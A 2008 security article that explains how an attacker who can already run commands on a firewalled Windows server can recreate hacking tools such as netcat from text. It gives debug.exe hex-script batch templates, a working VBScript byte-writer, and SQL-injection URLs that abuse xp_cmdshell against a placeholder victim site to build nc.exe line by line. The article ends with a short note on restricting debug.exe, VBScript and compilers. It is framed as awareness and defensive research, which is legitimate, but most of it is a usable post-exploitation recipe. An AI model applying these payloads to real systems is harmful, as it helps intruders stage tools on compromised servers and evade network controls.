Creating Binary Files on Firewalled Server

by John St. 2008-11-23

Index

Introduction

This article introduces techniques that an attacker, who has already access to execute commands on a server, could use to create binary files on server which has no internet access (firewalled) or web filtering (antivirus).

In the above scenario is not possible for an attacker to download files (e.g. hacking tools like netcat – nc.exe) on firewalled server. In this case, an attacker could create a binary file on a server by just writing a text file (including hex codes of the initial binary file) and then executing / compiling it. This attack can be performed in three steps:

- Converting binary file to text (locally)
  - Properly for Windows Debugger
  - Properly for VBScript
  - Other formats (C, Perl, Java etc)

- Pasting text data of binary file on the server (remotely)
  - Simple Copy / Paste (Remote desktop)
    (Microsoft Terminal Services, VNC, Citrix Applications)
  - By sending keys of the text on the server (Remote desktop)
    (Microsoft Terminal Services, VNC, Citrix Applications)
  - HTTP requests of the text (e.g. xp_cmdshell)

- Creating binary file on the server by executing / compiling text data
  - Windows Debugger format (executing .bat file with text data)
  - VBScript format (executing .vbs file with text data)
  - Other formats (compiling with C, Perl, Java etc compilers)

Converting Binary to Text

There are a number of different formats that we could convert a binary file and then execute / compile it and create the initial binary file. In this article we will describe two different common formats (Windows debugger & VBScript). The advantage of these formats is that are installed by default on Windows systems.

Windows Debugger

The windows debugger (debug.exe) is, installed by default on Windows XP and Windows 2000, the first MS-DOS debugger and has the ability to create a binary file (up to 64Kbytes) by using only text (commands, parameters, hex values, addresses etc). That gives an attacker the ability to create a binary file rather than downloading from a remote host. The below example shows how we can use windows debugger (debug.exe) to create netcat (nc.exe) binary file from text (hex values):

```
n z9.dll
e 0100
4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 ...
e 0180
50 45 00 00 4c 01 04 00 b9 8e ae 34 00 00 00 00 00 ...
e 0200
00 20 01
...
e e800
47 65 74 4e 75 6d 62 65 72 4f 66 43 6f 6e 73 6f 6c ...
e e880
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
e e900
r cx
e800
w
q
```

The above commands of windows debugger create a binary file (z9.dll) by giving the hex values of netcat (nc.exe) file. So we can create a batch script that it'll create a file with all these commands and then it will parse them to the debugger. The below example for a batch file (.bat) that creates netcat (nc.exe) binary file with windows debugger:

```
echo off && echo n z9.dll >z9
echo e 0100 >> z9 && echo 4d 5a 90 00 03 00 00 ... >>z9
echo e 0180 >> z9 && echo 50 45 00 00 4c 01 04 ... >>z9
...
echo e e800 >> z9 && echo 47 65 74 4e 75 6d 62 ... >>z9
echo e e880 >> z9 && echo 00 00 00 00 00 00 00 ... >>z9
echo e e900 >> z9 && echo >>z9
echo r cx >>z9 && echo e800 >>z9 && echo w >>z9 &&
echo q >>z9 && debug<z9 && copy z9.dll z91.tmp &&
del z9.dll && del z9 && copy z91.tmp nc.exe
```


VBScript

VBScript (Visual Basic Script Edition) is an active scripting language and is installed by default in every windows system which gives to attacker more possibilities to create a binary file by using it. The following example shows how we write a script (.vbs) which creates the initial binary file (nc.exe):

```
dim b(59392)
b(0)=clng("&H4d")
b(1)=clng("&H5a")
b(2)=clng("&H90")
b(3)=clng("&H00")
b(4)=clng("&H03")
b(5)=clng("&H00")
b(6)=clng("&H00")
b(7)=clng("&H00")
b(8)=clng("&H04")
b(9)=clng("&H00")
...
b(59389)=clng("&H00")
b(59390)=clng("&H00")
b(59391)=clng("&H00")
w "nc.exe",b
sub w(f, b)
dim a, s
a = bs(b)
set s=createobject("adodb.stream")
s.type=1: s.open
with createobject("adodb.stream")
.type=2: .open: .writeText a
.position=2: .copyto s, ubound(b) + 1: .close
end with
s.savetofile f, 2: s.close
set s=nothing
end sub
function bs(b)
dim i, a(), s
s=ubound(b)
redim a(s\2)
for i=0 to s-1 step 2
a(i/2)=chrw(b(i + 1)*256+b(i))
next
if i=s then a(i\2)=chrw(b(i))
bs=join(a, "")
end function
```

Pasting Text on Server

As we have already noticed from the above code lines is difficult for the attacker to write the code letter by letter with all the hex values of the binary file. Different techniques can be used from an attacker to paste this code on the server. The technique that he will use depends in the way that the attacker has access to execute commands on the server.

In case that the attacker has Remote Desktop access (Microsoft Terminal Services, VNC, Citrix Applications etc) then maybe he is able to just use copy & paste. He will just copy the code (properly for Windows Debugger or VBScript) from his local system and will paste it on the remote server. Even if he is not able to just copy & paste his code from local to remote system he can code a simple application that will read the input text data (code) and sending the keystrokes to the remote server.

In case that the attacker has execute access to the server through MS SQL Injection by using xp_cmdshell() extended stored procedure then he can program a simple application that will send http request and creating a file (line by line) with the use of xp_cmdshell() and echo commands. For example:

```
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo off && echo n z9.dll >z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e 0100 >> z9 && echo 4d ... >>z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e 0180 >> z9 && echo 50 ... >>z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e 0200 >> z9 && echo 00 ... >>z9';--
      ...
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e e800 >> z9 && echo 47 ... >>z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e e880 >> z9 && echo 00 ... >>z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo e e900 >> z9 && echo >>z9';--
      http://www.victim.com/news.asp?id=1;exec master..xp_cmdshell
'echo r cx >>z9 && echo e800 >>z9 && echo w >>z9 && echo q >>z9 &&
debug<z9 && copy z9.dll z91.tmp && del z9.dll && del z9 && copy z91.tmp
nc.exe ';--
```

Final Words

This article was written with the purpose of demonstrating that is possible and easy for an attacker to create binary files (hacking tools) even if the server is firewalled from the outside world. To prevent the creation of binary files on our servers we could restrict access to Windows debugger, VBScript and any other compiler that we maybe have installed.

